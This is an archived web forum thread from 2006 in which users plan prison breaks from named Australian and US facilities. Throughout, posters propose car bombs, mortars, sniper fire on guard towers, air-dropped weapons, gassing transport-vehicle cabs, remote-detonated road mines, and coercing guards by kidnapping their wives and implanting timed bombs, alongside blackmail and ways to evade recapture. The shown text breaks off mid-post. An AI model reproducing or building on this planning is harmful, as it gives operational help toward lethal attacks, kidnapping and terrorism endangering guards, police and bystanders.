Jacks Complete March 2nd, 2006, 05:31 AM

Cheers, guys!
I've often pondered just how solid those walls are, and how tough the bars. To an inmate with intelligence, they are all solid
obstacles, and getting past any one or two of them might be possible, but defence in depth is what they go for. And the 35ft
sheer external brick wall is normally what halts even the best of prison breakers. Of course, bringing a large section of that
down would be tricky, but the resulting confusion would be ideal as cover for someone who was out of their cell, and expecting
it. They then rope down the other side's wall, and calmly walk to the car that has been left for them, with a change of clothes.
Meanwhile, the guards & then police scramble and seal the breach, as the inmates riot. (Assuming they would!)
Destroying the entire prison outer perimeter might be the best thing. Make it all fall down. They would then have to keep the
entire place in lock-down until they secured the area, or re-built some walls, or, more likely, they would transfer all the inmates
to other places over the course of some days. With the sudden boost in paperwork (and law suits) it would be a lot easier for
someone to roll in and take a transfer bus walkies.
akinrog March 2nd, 2006, 10:48 AM

First of all such an operation must be performed at lightening speed in order to preclude possible back up and reinforcements
from appearing.
There are two options IMHO: the first is to break in and recover certain inmates, which necessitates good planning, insider
knowledge of the prison plan, and good timing.
The second is to create a large commotion to induce riot amongst the inmates to recover certain inmates and allowing others
to escape.
However the key issue here, as I said before, is the timing and speed of the operation. If you are slow then you get busted
together with other inmates. In my country's case, prisons are secured internally by the wardens (unarmed) but externally by
the Gendarmerie (sp?), armed with heavy machine guns.
In case of an attack / operation, they (soldiers) will immediately call for reinforcements and you will be fighting with troops
armed to the teeth. Regards.
bipolar March 2nd, 2006, 11:27 AM

Thus the highest form of generalship is to balk the enemy's plans, the next best is to prevent the junction of the enemy's
forces, the next in order is to attack the enemy's army in the field, and the worst policy of all is to besiege walled cities.
-Sun Tzu, the Art of War
So in war, the way is to avoid what is strong and to strike at what is weak.
- Sun Tzu
It's definently not best to just use brute force to solve everything or break out of a prison. Ideally you don't want to kill
anyone unless neccessary, or you'll guarantee a nationwide manhunt of your ass. And give them a better excuse to get people
to turn against you.
I read about a group of former Israeli Special Forces, etc. who will break any Jew out of jail for about 100,000 dollars. They say
they don't do it in western countries but only have done so a couple of times because it was family. They said that they can't
reveal their methods, but basicly. They stake out the jail for a few weeks or months doing surveillance and planning.
Sometimes finding informants willing to give information for money, or getting jobs or pretexting entrance to the prison. They
usually coordinate a plan with the inmate to fake symptoms of a serious enough sickness so they will have to be taken
somewhere for treatment. They then just ambush and surrond the transport vehicle on its way and recover the prisoner and
use other techniques to take him out of the country.
Alexires March 2nd, 2006, 10:12 PM

First of all,
http://en.wikipedia.org/wiki/Category:Prisons_in_Australia
That will let you have some info about different prisons in Australia. Some info is exceptionally useless (I dont care when it
was opened), while other info is a little more useful (security type, eg maximum).
Second, the website for the Adelaide Remand Centre (a maximum security facility) complete with a photo tour *chuckle*
http://www.corrections.sa.gov.au/prisons/photos/photo1.htm
Now, whats would really be handy would be the architechtual drawings for these buildings. As the government is predictably
systematic, I'm absolutely certain that plans would have had to have been submitted before building commenced. Alas, that is
where my good ideas run out. Where would these drawings be? Are they available to the public? If not, how hard would they be
to get?
And to our American counterparts, forgive my ignorance. I have seen on movies where people can walk into a library and look
at the city building plans and things. Does that actually happen, or is it just a wet dream I've been having?
Onto security. Speaking for the SA area and quoting from the website "Situated in the Adelaide CBD (Central Business District),
the remand centre is capable of accommodating 247 males who have been charged with offences and their case is before the
courts."
How interesting. As it is located in the CBD, what are the chances of the guards weilding automatic weapons? Very little I say.
I'm guessing that they wouldn't be equipt with more than normal police (.45 magnum, pepper spray, batton and radio). If
they needed re-inforcements, then they could call the normal cops, or STAR (sort of like SWAT) in special circumstances.
Ofcourse, I dont think that in the hypothetic situation that anything happens, anyone breaking in would be there long enough
for STAR to assemble.
Alternatively, if action wasn't taken in time, then the prisoner would be moved to another facility. Depending on what the crime
was, and how cooperative they were, they will either be sent to one of 3 places, I believe. There is the centre at Murray Bridge,
a low to medium security facility. I quote "The prison is laid out in campus style with several accommodation units of cells.
During the day prisoners are allowed open movement inside the grounds to attend education, work or programs." Easy
enough.
Next on the list of 3 is the Port Augusta a low/med/high security facility. From the photo, it looks as if there is a fair bit of
open area there. This is probably the least likely of the prisons for someone to be sent to, unless they are idigenous.
The last and certainly not least is the facility at Yatala Labour Prison. Most likely to be sent here, Yatala is at 1 Peter Brown
Drive, Northfield, South Australia aka Hellonearth. SA is backwater, Adelaide even more so, and the most noteable feature of
Northfield is they have a prison. Congratulations guys. Anyway, Yatalia is big, its ugly, and made of concrete, steel and razor
wire. Its divided into 4 sections, E,F,B,G. E is where all the inmates get sent first of for assessment. After that, they either stay
there (low security) or they are sent to F,B of G. F is the working class of Yatala, and do all the work. B section is for medium
to high security inmates, and G section is.... well... you know that part of the matrix, where they have to break Morpheus out?
(sorry for the reference). Yeah, well thats G section.
Yatala would be the most difficult to get out of. Personally, I'm a fan of the night break out as opposed to broad day light.
The best idea I'm thinking would be a kind of diversionary attack. One on the far side of the prison, make it look like a
botched escape attempt while the front is hit. Im guessing 5 mins, tops to get in and out, unless you want a shitload of
guards and police on your ass.
Anyway, thats all I can think of to say today.
Uhh, if its not too much trouble, could one of the mods PM me and let me know how far I can hypothesis before I go out of
line and attract too much attention please? I feel like I'm pushing it.
ANYWAY, this is all hypothetical, and I was only using Yatala and other correctional *cough* brainwashing *cough* facilities as
examples and so forth. This isn't ment to incite terrorism or anything like that.
[Edit: Formatting]
Have fun people, and dream the good dream.

Chris The Great March 2nd, 2006, 11:58 PM
Actually....
Yeah. Might not be able to walk right in to see them but it shouldn't be too hard. Or check out the authors books. If you could
see the large plans, take a few high res photos and then touch it up to look like a scan.
http://www.lib.jjay.cuny.edu/info/speccoll/Johnston%20Collection%20of%20Prison%20architectura l%20plans.pdf
Hmm, shouldn't be too hard if the prisoners can hold off in an 11 hour siege.
http://www.emergency.com/austriot.htm
me234 March 3rd, 2006, 01:58 AM

I don't know about the mods, but as far as I'm concerned, push all you want. This is an individual place, we encourage
individualism, say what you want, it's not necessarily the opinion of anyone else here (probably is actually, but it wouldn't be
the first time people here had differing opinions).
Besides, we are not APC and Sciencemadness, we will not run scared, if they shut down, I get the feeling somewhere,
somehow, a new RogueSci will open up and restart everything all over again.
So, in closing Alexires, PUSH BABY PUSH!:D
Alexires March 3rd, 2006, 09:44 AM

Ok, this is just a quick post.
http://nicic.org/Downloads/PDF/Library/015061.pdf
Thats a link for the "small/medium prison building guide" given out by the US department of correctional services.
I haven't downloaded it yet, so I have no idea if its any good, but just a little food for thought.
I might go to a uni or two on monday, where they offer architecture and see if I can get them to give me drawings or
something.
Sorry about such a brief post.
FUTI March 7th, 2006, 05:17 PM

This is actually on the line of what Vietnameese done in Tet ofensive I think. Storm the prison and arm the prisoners.
Simultaneous riot and blown perimeter is the way to go I guess but then it must happend in the right time when the guards
are on the highest alert during the day - walk in the yard + you have to coordinate the attack in and outside.
Anyway you all asume that guys that fall down in goverment hands that they regards highly dangerous will be kept inside the
country and that "resistance" cells can pinpoint their location. But they keep islamic terorists all over the world in millitary
bases and other states prisons that use other prison systems and building technology...if this is the case with our "fallen
member"....what then?
nbk2000 March 9th, 2006, 05:30 AM

A chaotic event is what's needed.
Dropping hundreds of pipe slam-bang shotguns with 5 rounds of ammo (buck and slug), plus bolt-cutters, explosive charges,
and other weapon/tools of escape, with instructions in pictograph/english/spanish/russian onto the yard from a stolen plane
when a lot of the inmates (and the POW staffer) are out, would definately cause chaos. ;)
In conjunction with a car bomb taking out the fence line or wall, plus snipers firing on the guard towers, and smoke covering
the yard...we'd be outta' there! :p
But first you'd have to find us. :(
I don't think they'd let us make collect calls out from quantamino bay. ;)
Thus the need for a quantum entanglememt modem implant. :D
Alexires March 9th, 2006, 08:28 AM

Firstly, I'd like to praise NBK as a well of wonderful ideas. Heh, the first time he has posted on one of my threads *chuckle*.
Ofcourse any idea could be altered to suit the situation that it needs implementing.
Maybe Australia is weird, but I don't think that the security is nearly as tight as it is in the US. As I've said, here, armed means
you have a gun. In the US, armed means you are carrying a good rifle, lots of ammo, a side arm, probably a knife and
combat armour.
I'm fairly sure that through observation it would be possible to work out when the maximum amount of inmates are outside.
Stealing a plane would be an absolute pain in the ass, and would mean you need to know how to fly one as well (which I
don't), as well as the probability of having the airforce on your tail.
Here's an idea. Probably a few centuries out of date, but still....
I've seen a trebuchet (medieval kind of catapult thing) throw a VW a long way through the air. Instead of flying over, why not
throw it over the walls? A big metal crate, padded and filled with weapons and explosives falling out of the sky is going to
cause some bloody chaos in a prison. Or instead, start throwing big rocks into the walls of the prison. With modern physics
engines, and machining precision, I dont see any reason why you couldn't break open a prison like that. The force behind a
marble rock the size of your head would be enourmous. The record is something like 1394 feet (about 424 metres).
Just some food for thought.

Jacks Complete March 25th, 2006, 08:26 PM
I'd go for something along the lines of a water-filled container and a pneumatic or explosive firing system. Special forces use
them for knocking down walls in a fraction of a second for entry, and the water ensures that the people behind the wall (more
than about ten feet away) are perfectly ok. (I can post some specs in a bit if anyone is interested in more about them. Who
am I kidding? I'll post details & ref.s tomorrow)
Use a few of those to flatten the entire external wall on one side. Then do the same on the other side.
sungod May 27th, 2006, 08:02 AM

Second, the website for the Adelaide Remand Centre (a maximum security facility) complete with a photo tour *chuckle*
http://www.corrections.sa.gov.au/pri...tos/photo1.htm
Having stayed at a couple of Australian 'security' places I would have to say that the ARC is nice. They give you your own key
to your cell which has its own shower even. Breaking out would be nigh on impossible but an external attack would work based
solely on the fact that they aren't expecting trouble from that direction.
Many years ago the NSW government opened a youth detention type centre called Bidura which was meant to have high
security but stupidly had staggered outdoor balconies that could be used to jump down to the street. if this wasn't stupid
enough you could use a comb to gain access to the 'locked' balconies and then freedom was but a hop, skip, and a jump
away.
Only serves to remind what little shits some of us are when we are kids
Chris The Great May 28th, 2006, 01:23 AM

Link doesn't work.
Thanks for the information... I guess it really depends where they put you on how easy it will be to escape.
JakeGallows May 28th, 2006, 08:22 PM

The idea of a prison break is an intriguing one. Since each prison is constructed differently, a different plan of attack would
have to be used for each. Nevertheless their are universal tactics that could be employed. I would like to suggest though that
escape is only half the battle, the other half (the harder, in my opinion) is evasion.
With regard to escape (consider that many of these are to limit the amount of people necessary):
- Dropping weapons and implements of escape and destruction are certainly worthwhile tactics in order to create chaos and
confusion
- Having snipers attack guard towers, keeping the guards from stopping prisoners is wise. An addendum would be to use the
disposable telesniper discussed elsewhere on the forum.
- Using car bombs to break down the walls would certainly work. You could also use mortars, on time delay and hidden to
break down the walls/fences.
- Utilizing something to jam cell phone and radio frequencies might buy you some time and keep LEOs reacting instead of
acting.
- Radio controlled model airplane or helicopters could deliver explosives to guard towers, communication centers, power lines,
power generators, etc.
With regard to evasion (this is the tricky part, particularly considering such a high profile escape):
- Purchasing one or more Crown Vics and dressing them up with the markings of local, state or sheriff's cars might enable you
to bypass checkpoints with a little social engineering.
- One has to wonder if having a secure, very hidden location fairly close to the prison wouldn't be a better strategy than
running. Don't do what is expected.
- At the secure location having a nice long road that could be used as a flight strip could be useful for flying away from the
scene.
- Causing collateral damage at an alternate location, timed just before the prison break could draw police presence away from
the prison itself, buying the escapees more time and less heat.
Just a few thoughts.
Alexires May 29th, 2006, 10:40 AM

Personally, I think that if you have enough will, and enough patience, then nothing is totally secure. You can break out of
anything, although I might be seriously wrong, but it gets me through the day *wink*
nbk2000 May 29th, 2006, 01:59 PM

It's not only a matter of having the time and will, but also opportunity, to escape.
If you're in the colorado supermax, 100 feet underground, never having human contact or leaving your cell, with 24/7 in-cell
video surveillance of you taking shits...what opportunity do you have to escape?
And there's been countless times that prisoners have escaped, but of those, how many stayed out more than a few days? The
vast majority of escapee's are recaptured within days, if not hours.
No sense in escaping if you're not going to stay out.

One has to wonder if having a secure, very hidden location fairly close to the prison wouldn't be a better strategy than running.
Don't do what is expected.
You reminded me of a funny story. There's a youth training centre near Gosford (north of Sydney) called Mt Penang Training
School for Boys. It is situated near a highway and on a mountain.
Every morning when the doors were unlocked and the boys were taken out for parade at least 2 or 3 lads would take off like
rockets for the run down to Gosford through the bush. It was pretty much inevitable that they would be caught and the worst
part about it was that they were caught by trustee's who were given the official title of 'Dingoes'. The irony of the fact that a
dingo is a type of dog was obviously lost on them.
Anyway, the security level depended on which company you had been assigned to with 4 coy(first timers, short termers, and
protectees mostly) having windows to the outside world that opened far enough to get through. One day, a smart young
lad(not a dog) from 4 coy climbed out of the window, walked about ten paces, climbed a very tall pine tree and stayed there
until the search was over and in the early hours of the morning climbed down and ripped off a screws Commodore(infamously
easy to steal Australian built car) and escaped.
He was caught within days as his dick started to think for him and he went to his girlfriends house. The lesson here being that
if you abscond from custody you are going to be hunted mercilessly and if you fall back into old patterns of behaviour and/or
circles of friends/acquaintances then you are going to get caught and you are are also putting other people who don't deserve
it at possibly great risk.
I have read that when hiding it is often a good idea to be up above those that are looking for you as apparently human
beings due to their foreheads do not have good peripheral vision in the upwards direction. I guess this is by design to stop the
sun getting into our eyes. This is not a recommendation for hiding in trees unless absolutely necessary as a good hiding place
has a number of avenues of escape.
Any resemblance to any person living or dead is purely circumstantial and this entire post may be a figment of my fevered
imagination.

Link doesn't work.
Adelaide Remand Centre (http://www.corrections.sa.gov.au/prisons/adelaide_remand_centre.htm)
NBK: The post with the dud link I made above that Chris commented on doesn't have an edit button whereas this post and the
one immediately prior to this one both have edit buttons. Is this normal?
nbk2000 May 30th, 2006, 06:33 AM

You have only a limited period of time in which to edit your posts.
This is to prevent people from going back to really old posts and deleting them or altering them to something unseen.

NBK: Good point. What the bloody hell would you have to do to end up there?
But then again, surely if you were going to do something that could end you up there, you would have a contingency plan.
Well, I would attempt to have one so that the opportunity does present itself to escape if the shit hit the fan.
It never occured to me why escapees go to see friends/significant other/parents or whatever when they break out. Sure, they
might help, but isn't it even SLIGHTLY obvious to said escapee that the orificers will be waiting?
Be smart. Have a few caches around with some money, clothes and a few other essentials NOT too close to your home. If you
live in the city, have it in a suburb that is away from your friends, family or anything else. If you live in the country, and it isnt
that far from town, hide stuff in the outskirts. If your way out of the city, go for a road trip to visit your local state jail.
If you had enough money and thought it highly possible that you may end up in jail, have a few caches within a couple of
kilometres of each jail. In Australia this wouldn't be too hard, because we dont have that many jails.
I'm just shooting this off the top of my head, so if you see any glaringly obvious flaws in it please say so.

It never occured to me why escapees go to see friends/significant other/parents or whatever when they break out. Sure, they
might help, but isn't it even SLIGHTLY obvious to said escapee that the orificers will be waiting?
The answer can be simplified as estrangement. If you serve in prison for prolonged periods of time (say more than 5 years),
then you shall not only be estranged but also benumbed to a certain extent.
When you make your escape and get free, you shall be stupefied since for a long time all you see is gray (or yellow) walls, all
you see as a female soul is either your relatives or those ladies who are visitors of the other inmates. And in addition, prisons
have unique codes of conduct and since you served in prison for a very looong time, you get used to that code of conduct and
behaviors of other people seem outrageous to you (i.e. it's possible for you overreact to something which is totally normal in
the outside world but against the codes of conduct you are used to and therefore get caged again).
Even when you are released after you fulfilled your sentence, you shall for a long time feel strange amongst the ordinary
people. Females seem strange to you, since you start seeing them as irritating whiny bitches. Even busses with large windows
shall look strange to you since prison transport vehicles generally have very small windows which are covered with a steel
reinforcement net to make them hard to break but this very steel net combined with small windows and chain shuckles around
your wrists and ankles shall obscure sightseeing. When you see you can go whereever you want without taking risk of solitary
confinement, being stabbed or raped, your mind shall also be confused :eek:
If you served in a prison cell even sunlight shall seem strange and hilarious to you. And since you (had to) become an bipedal
automatron for survival, listening to orders of bosses (i.e. wardens), you shall also feel strange, for there is nobody telling you
what to do and how to act.
So when you are free, you shall become a fish out of water, not knowing what to do and if you are an escapee then most
probably your lower brain (cerebellum???) (part of your brain which is responsible for instinctive movements) shall force you to
find a safe place and you shall find yourself before the door of your parents or beloved ones.
So as a result; unless you are a trained man (not an ordinary criminal) with many connections to the outside world, then it
seems quite difficult not only to escape but to stay out as NBK says. Regards.

What the bloody hell would you have to do to end up there?
I have a friend in Yatala Labour Prison here in South Australia and he is doing seven years. His crime was to give someone a
lift home. During the lift his mate made him stop at a milk bar(drug store/deli) for cigarettes. When he finally got home and
pulled up his driveway he was surrounded by police for his involvement in an armed robbery. He would have got less time but
he wouldn't admit to his guilt and kept coming up with a 'fanciful story' according to the judge.
This is one of the reasons I don't support the death penalty. I think some people deserve to die for their crimes but while
there is even an infinitesimal chance someone innocent is going to get murdered (it isn't an execution if they are innocent in
my book) then it shouldn't be happening.
BTW: he stood staunch for which I think he was a fool
nathan May 31st, 2006, 11:48 AM

Yea sometimes faking "repentance" saves you a whole lot of shit.
I think it would be possible to break someone out of any prison save maybe the ones with incredibly high security.
A successful break out depends on your time, manpower, planning, and resources. With enough of these you can do almost
anything.
Alexires June 1st, 2006, 10:39 AM

I suppose I can't really talk, as I've never been in the position where I have been imprisoned for any length of time (no more
than 3 days), but surely one would be able to remain sane inside.
I have no idea how bad prison could be, but I think the prisons in Aus are not as brutal as the ones in the US so hence my
opinion. As long as you look big enough to take care of yourself, and don't piss anyone off you should be alright, yeah?
I wish there was a way to train in breaking out of prisons and such, but alas...
nbk2000 June 1st, 2006, 03:45 PM

...but surely one would be able to remain sane inside.
Define sanity.
The whole thing is setup to make you insane. The higher the level of control they wish to exert on you, the greater the
pressures they bring to bear upon your sanity.
Lighting patterns that are disruptive to the sleep cycle. Food depelted of essential nutrients. Rules and regulations of
behaviour intended to reduce you to the dependency level of a small child. Total lack of any intellectual stimulation or learning
through reading.
Though they'll let you watch all the TV you want, so what does that say about TV?
After a decade of this sort of thing, how many people (who were sane to start with) do you think still have all their marbles?
akinrog June 1st, 2006, 05:13 PM

I suppose I can't really talk, as I've never been in the position where I have been imprisoned for any length of time (no more
than 3 days), but surely one would be able to remain sane inside.
The long term imprisonment not necessarily make you insane, but the system i.e. prison environment shall fundamentally
change your behavior patterns. Since you state you have not been imprisoned more than three days, that means you have
actually been in jail, not prison. Environments of both are very very different.
You shall have some choices, i.e.
1. You shall become a brutal beast inside the prison, who is always getting in trouble, getting solidarity confinement, being
threashed by the wardens, and if there are superior beasts (or most likely gangs of inferior beast), then most probably
overpowered by them having a very bad destiny (i.e. in the best case scenario being raped and racketeered (if you have
money) or in the worst case scenario being stabbed). (Little chance to survive or see the sun outside the prison)
2. You shall become an invisible man, who is being pushed around by everybody, being treated very ill not only by the
inmates (since inmates want you to keep silent), but also by the wardens (since wardens want you sing like a bird). (Too much
chance to survive and see the sun outside the prison, but you shall become someone else totally ruined psychologically and
sosiologically when you are released.)
3. You shall become a cunning man, who is capable of making in-prison connections, while not vesting or entrusting your
destiny on any body else's hands, creating alliances, in which case, you have a chance to survive, see the light outside again.
However, this option has a serious factor of failure. If you, by chance, put your bet on the wrong card, then you may have to
end in option 1 or 2) :eek: .
So friends, I recommend everybody, to keep out of prison and lead a life as decent and lawful as possible (at least don't get
caged :D ). Regards
sungod June 1st, 2006, 09:05 PM

I have no idea how bad prison could be, but I think the prisons in Aus are not as brutal as the ones in the US so hence my
opinion.
Compared with the US Australian prisons are lightweight and easygoing places. I cannot imagine what a few years in a US
prison would to a mans mind but it sure wouldn't be good.
Having recently watched a BBC documentary (http://www.informationclearinghouse.info/article8451.htm) on US prison life I can

assure you that if I lived in the US I would be very well behaved and possibly the lead singer in the Mormon Tabernacle.
Anybody, who has come out of the grinding end of the US system and has survived with their faculties relatively intact has my
respect because they are obviously made of pretty strong stuff.
As long as you look big enough to take care of yourself, and don't piss anyone off you should be alright, yeah?
It's very easy to piss people off in prison as sometimes that is what some people are made of, just big piles of pissed off. I
beat a guy at draughts once and that came very close to being my last day on Earth.
Being big enough to take care of yourself is a bit of a furphy because it really doesn't matter how big, tough, experienced you
are there is always someone around the corner who can take you out without breaking a sweat (sometimes your sheer size is
why they want to have a go in the first place). The toughest guy I know stands about 5 foot tall and looks like he couldn't fight
his way out of a wet paper bag. I have seen a few tough guy wannabes pick him because he looks like an easy target much to
their detriment.
BTW: The reason I am posting is that I have some experience in this topic. I don't wan't anyone to get the idea that I am
trying to bignote myself in this thread because the simple truth of the matter is that every time I have been busted for
something it has been through my own stupididity and incompetence (quite often due to inebriation).
JakeGallows June 1st, 2006, 10:31 PM

Having worked in a prison hospital I can say that they are very interesting places indeed. I find myself confronted by two
opposing forces: hating the officers (they hate being called guards BTW) for being officers of the law and hating the prisoners
for committing whatever crime it was that they committed.
However since they are in the hospital and you generally don't know what crime it was they may or may not have committed
compounded by the fact that they are supposedly sick, you second guess your natural concern (at your own peril I might add).
As you learn more though you realize how effective the prisoners are able to manipulate the system to their own gain.
Prisoners are constantly getting surgery or medicine/treatment that they wouldn't be given on the outside for lack of money.
They get drugs (frequently pain meds or anything one can "get high" from) by [sometimes] faking illnesses, exacerbating
present illness, or creating new infirmities.
People that work there frequently mention that the prisoners have more rights than you or I, the right to healthcare, the right
to food, and the right to shelter... Though they give up certain freedoms to achieve them.
As a side note stepping back to the issue of breaking out: Hospitals can be an ideal place to do it. As usual each hospital is
different and where and when prisoners are treated varies from state to state, etc.
Having had an insider's look (the inside of a prison hospital attached to a teaching hospital, a hospital within a jail, and two
separate hospitals that had contracts with state/federal prisons), the weaknesses are in transport (when relevant) either from
or to hospital/prison, to/from testing and to some degree within the patient rooms. You have one officer transporting
someone, and often leaving them in physician or nurse custody (I use the term loosely) because of hospital restrictions or
officer preferences.
In order to exploit them there are several methods that could be employed. One could become an officer and assist an
escape (likely without being found out if one was careful). One could become a physician/nurse and supply the inmate with
what he or she needed to escape. One could access the computers (given time and some effort and depending on the
individual hospital situation) and since many places are turning to electronic medical records and orders, optimize a time and
place for escape.
As is the case with all attacks one must use their strength against their opponent's weakness, and I think hospitals assist in
providing both of those.
sungod June 3rd, 2006, 10:26 PM

I have enjoyed this discussion as I have enjoyed my other discussions here but I doubt I will be a member much longer. I will
be banned for a different thread because I won't put up with some stupid cell block bitch with forum megalomania taking an
irrational dislike to me just because I have tried to follow the rules and he is incapable of rubbing two brain cells together and
seeing that.
nbk2000 June 4th, 2006, 12:29 AM

...I doubt I will be a member much longer.
A self-fullfilled prophecy, for sure. :p
Someone who posts 11 times in two years is getting all emo because the person who wrote the Rules in the first place, makes
a comment about a n00b, and then says an admin is 'incapable of rubbing two brain cells together and seeing that.'
A note to all n00bies:
No matter how long ago you signed-up, you don't get respect until you've contributed something here. Whether that be unique
(and relevant) files, or stimulating discussion, you're a non-entity until you've done so.
Same as in prison.
You're fresh meat to be preyed upon by the predators until you show your true worth by going out on the yard and either
standing up for yourself, or getting down on your knees.
Hiding in your cell for two years only delays the inevitable test.
Even some stupid cellblock bitch knows that much. More than you did. :p
Alexires June 6th, 2006, 10:41 AM

Akinrog: google Define:imprisonment.
The reason I didn't say jail or prison is because it was neither of those.
JakeGallows: That had occured to me as the most likely way to escape. Hospital security is pretty lax as far as I know, and if
you are patient and know your stuff, probably a fairly good bet.
As with the main subject on the forum (explosives and weapons), you will probably only get one chance to fuck up. If you don't
make it out the first time, it is highly unlikely you will be given the chance to try again.
NBK: Just looking at photos of the Supermax (now known as the WI Secure Program Facility). It looks tough. It says here
about lasers, K9 patrols and pressure pads. From the looks of it, the facility is pretty isolated (a small town near by). Tigerwire
and electric fences guard the perimeter, with some small concrete walls (maybe foot in height, or half a meter or whatever).
Here is the Supermax Manual (http://www.prisoncentral.org/Prisoncentral/Supermax/Acrobat/ColoradoSupermaxManual.pdf).
There probably would be only a few options to remove someone from the Supermax Facility. These two plans target the
human component as opposed to trying to get through the technojungle.
As I understand it, if a prisoner is good, they may progress to level 5, allowing access to the daytime hall. My assumption is
that this hall is outside.
Option 1 would be a quick infiltration and snatch during the daytime hall visit. Alot of damage would need to occur to the
facility to decrease the effectiveness of persuit. An EMP or a way to disable communications inside the supermax would be a
must, along with poweroutages at the 2 closest towns. Two ten man teams would probably be best. One at the facility itself
and the other split between the two towns. After the power went down in the towns, the two 5 man teams would rejoin with the
attacking 10 man team. Maybe a few of NBK's telesnipers would be useful here to persuade the "officers" to stay inside.
A quick exfiltration to a remote safehouse where the escapee would be left alone with enough food and water to last a few
months at least. Would be picked up again when the heat had died down.
Option 2 - Kill everything that moves. Take the power out in a few close towns, shut down the prison then stage a massive
assult under the cover of darkness. Taking down communication is a MUST.
Ram the fence in two locations with something big like an 18 wheeler truck, and then roll it (see the JATO myth on
mythbusters for a smart way to do this). This takes down the gates, and provides cover closer to the facility. Plenty of snipers
in the forest around the facility to cover the assult teams. Take down a wall of the main building close to the cell, or the shaft
down to the cells. If there are no stairs down, or the elevators are stuffed, cut the cables and slide down. Attach a winch to pull
back up and get your man out. Exfiltrate as fast as possible. If you were successful in disabling communication you should be
able to get away clean. If not, follow the exfiltration of option 1. Alot of people for this one, at least 30 (Two 10 man teams
and 10 snipers). We're talking ALOT of damage and mayhem. The principal being that there aren't enough people left alive to
persue.
I'm just testing the idea out here. Tell me what you think. If its crap, say so, but give different ideas if possible.
This is operating on the principal that to be entombed in Supermax, you are someone with alot of money that probably wasn't
legally gained and can afford a 30 man team + equiptment. Hah.
JakeGallows June 6th, 2006, 08:18 PM

Alexires - I like where your head is at. Given resources and time I think that your snatch and grab idea is probably the best.
That said I look for possibilities that could be achieved with less resources and capital, since 20-30 men to break one out is
probably beyond basic civilian capabilities and opens yourself up to all new problems.
As usual each scenario is different and tactics must be customized, however in the one I envision (based on my experiences)
another weak point is the transport vehicle. We talked about this before (attacking en route) but consider also where the
vehicle is stored while not in use. I observed an unguarded bus parked a reasonable distance from any supervision, surely
one can see the inherent weaknesses in that logic.
One could place remotely detonated charges at strategic locations, say around radio equipment or driver/officer locations. One
could disable radio use via remote disconnect (as opposed to detonation) after leaving the pickup point (en route). Consider
further the use of Nitrous (great because it is not colored, flammable or detectable, via smell anyway) or other volatile agents
that pumped into the cab could dispatch (lethally or nonlethally) any opposition to the operation.
nbk2000 June 7th, 2006, 02:34 AM

How about something more low-key than a paramilitary assault?
Like blackmailing a few key guards to allow your guy access to somewhere where he'll 'accidently' be released? Or at least
somewhere more accessible.
FUTI June 7th, 2006, 07:52 AM

I'm in a bad mood today...considering the starting idea behind this thread...why should we bother at all and use J.Stalin
reasoning "There are no Russian prisoners of war...only traitors" and forget the guy who isn't smart enough to stay out of
cane. Just a though. mrghmph arghhh
nbk2000 June 7th, 2006, 09:04 AM
There's that line of thought too. :)

JakeGallows - A good point. Transport is most probably one of the weaker points in a prison system. A kill switch on the
engine and a gas tank (not the thing that contains fuel for you americans) full of some kind of incapacitating gas. Start
pumping the gas, and then kill the engine after a suitable period of time (so that the bus doesn't crash and kill everyone).
NBK - Corrupting the officers is an idea, but I don't think that your usual disgruntled prison guards are going to be stationed
there. If they even took the bribe, the amount required to bribe enough officers would be rather prohibitive (but then again,
probably not as prohibitive as a paramilitary strike). Maybe a compromise could be reached where inside information made
the strike easier, or the prisoner was 'allowed' to be captured in exchange for alot of money.
FUTI - One could do that, but this thread was started with the scenario that someone indisposable (whether it be the leader of
a resistance group, a religious guru, your boss in a shady profession, etc.) had been imprisoned. Hypothetically, if it were us,
it would be very tactically unsound to leave someone with the knowledge of Mega or NBK in a stinkhole of a prison just
because it would be too hard to get them out, or they shouldn't be there in the first place.
Chris The Great June 7th, 2006, 12:21 PM

NBK - Corrupting the officers is an idea, but I don't think that your usual disgruntled prison guards are going to be stationed
there. If they even took the bribe, the amount required to bribe enough officers would be rather prohibitive (but then again,
probably not as prohibitive as a paramilitary strike). Maybe a compromise could be reached where inside information made
the strike easier, or the prisoner was 'allowed' to be captured in exchange for alot of money.
Give them "the plug". Or a letter starting with "Dear sir, we have your wife strapped to a bomb...". Or both, kidnap his wife
when you plug him.
They'll do what you want. Just make sure you give his wife back, so it makes the papers and such and when you do it again
the guys know that you'll let them live when you're done, so there is increased motivation to just do what you say and not
cause problems.

I think we have a winner! Chris, that's the best idea so far.
The only snag with that I can see, is that if they go out of radio contact 100ft underground, or through a metal detector, things
will go wrong.
A way to slave several telesnipers together into a mesh would be a great way to stop support "troops" from out of town coming
in. Align several on the roads, and several covering the entire prison, then anything incoming or outgoing gets a bullet in the
head, with a swift click from the mouse. They would have nowhere to hide, as long as your placement was good. You could
even have it set so that two or more guns would fire at the same time to the same target, from different angles, meaning that
hiding behind the car would be a big mistake.
Two 10+ teams isnt ever going to happen unless you are a Columbian druglord or relgious leader. No way, no how.
akinrog June 7th, 2006, 06:47 PM

Give them "the plug". Or a letter starting with "Dear sir, we have your wife strapped to a bomb...". Or both, kidnap his wife
when you plug him.
They'll do what you want. Just make sure you give his wife back, so it makes the papers and such and when you do it again
the guys know that you'll let them live when you're done, so there is increased motivation to just do what you say and not
cause problems.
But what if the guard is already sick of his wife and very eager to get rid of her? :D :D

The intestines are long and could fit a quite large antenna. :P Maybe not...
But you are right, radio contact could possibly be lost. Perhaps a timer that you tell him about. For example, find out how long
it would take to get the prisoner out. Should he exceed that by, say, half an hour, *bang*. There is no way they'd be able to
get the thing out in the time frame you'd be giving him. And, you still do have his wife (and children, and dog, and a list and
log of all the child porn sites he *coincedentately* visited the night you kidnapped him, etc)
The prison itself has a huge amount of metal and concrete and might block out the radio signal anyway. So that would need to
be taken into account. Seeing if you can beam one through the prison beforehand, for example, might give an idea of how
much the signal is weakened.
Mining the roads with remote detonated mines (or remote activated ones to avoid civilian casualties but not have to try to
guess when the vechile is right above the mine) would be cheaper than a telesniper and more effective at stopping a
armoured convoy of reinforcements. Of course, a few telesnipers to fire on them after the mines go off would keep them there
even longer as they fire back at enemies that aren't there, and won't dare come out from behind their barracades.
Of course, if there where some telesnipers behind them to start shooting once they are all on the sides of the vechiles facing
them....
The telesnipers would be better at picking off sharpshooters in the towers rather than those coming to reinforce them. The
reinforcements can run/drive into bombs, guys sitting in a tower needs the bombs brought to them, and that makes it difficult.
However, one thing we don't have an answer to is helicopters. They're going to cause a lot more trouble than anyone following
on foot.
Here is the ideal scenario:

Bob is plugged, and his family kidnapped. Bob brings the prisoner out, and transfers him to Bill, the bus driver who has also
